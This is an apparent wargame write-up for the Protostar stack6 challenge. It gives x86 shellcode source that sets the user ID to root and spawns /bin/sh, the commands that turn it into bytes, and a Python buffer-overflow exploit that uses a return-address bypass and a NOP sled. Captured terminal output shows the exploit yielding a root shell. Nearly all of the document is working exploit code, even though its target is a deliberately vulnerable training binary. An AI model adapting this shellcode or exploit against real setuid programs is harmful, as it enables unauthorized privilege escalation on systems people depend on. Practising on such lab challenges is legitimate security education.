Code for shellcode

```
global _start

section .text

_start:

    ; setresuid(0,0,0)
    mov al,0xa4 ; Syscall # for setresuid()_
    xor ebx,ebx ; ebx = 0x0
    xor ecx,ecx ; ecx = 0x0
    xor edx,edx ; edx = 0x0
    int 0x80    ; Calls kernel

    ; execve('/bin/sh',
    xor eax,eax ; Zeroes eax
    push eax    ; Push NULL terminator into the stack
    push 0x68732f2f ; Push //sh into the stack
    push 0x6e69622f ; Push /bin into the stack
    mov ebx,esp     ; ebx = '/bin/sh'

    push eax    ; Push NULL terminator into the stack
    mov edx,esp ; edx = 0x0

    push ebx    ; Push address pointing to "/bin/sh" to the stack
    mov ecx,esp ; ecx contains address that points to "/bin/sh"
    mov al,0xb  ; Syscall # for execve()
    int 0x80    ; Calls kernel

    xor eax,eax ; Zeroes eax
    xor ebx,ebx ; Zeroes ebx, exit code for exit()
    inc eax     ; Syscall # for exit() : 1
    int 0x80    ; Calls kernel
```

Compiling shellcode

```
nasm -f elf32 shellcode.asm -o shellcode.o
ld -m elf_i386 shellcode.o -o rootsh
```

Filtering objdump and turning it to shellcode

```
objdump -D -M intel rootsh | grep '[a-f0-9]:' | cut -d $'\t' -f 2 | tr -d ' \n' | sed 's/../\\x&/g' | tee shellcode.txt
```

```
\xb0\xa4\x31\xdb\x31\xc9\x31\xd2\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80
```

Exploit code

```python
#!/usr/bin/python
import struct

def conv(hexAddr):
    return struct.pack("<I",hexAddr) # Returns packed binary data to calling()

def saveFile(filename,data):
    with open(filename,'w') as f:
        f.write(data)                # Writes data to file

offset = 80           # Space between start of buffer till right before eip
junk = "A" * offset # Fill the space above with A's
control_eip = conv(0xbffff7e0) # Middle of the nop sled
nop_sled = "\x90" * 64         # To account for differences in stack address
prepend = conv(0xcafebabe)     # To skip checking of return address
pop_ret = conv(0x08048453)     # Pops off 0xcafebabe and return to address containing shellcode

# setresuid(0,0,0) && execve('/bin/sh',{"//bin/sh", NULL},NULL) && exit(0)
shellcode = "\xb0\xa4\x31\xdb\x31\xc9\x31\xd2\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x
50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80"

# Final payload
payload = junk + pop_ret + prepend + control_eip + nop_sled + shellcode

# For debugging purposes, GDB
filename = 'exploit.txt'
saveFile(filename,payload)

print payload   # Prints payload to STDOUT
```

Running the exploit

```
user@protostar:~$ (cat exploit.txt ; cat ) | /opt/protostar/bin/stack6
input path please:
got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAS111`1Ph//shh/binPS⍰`11@`
id
uid=0(root) gid=1001(user) groups=0(root),1001(user)
```

```
user@protostar:~$ (./stack6.py ; cat ) | /opt/protostar/bin/stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAS111`1Ph//
shh/binPS⍰`11@`
id
uid=0(root) gid=1001(user) groups=0(root),1001(user)
```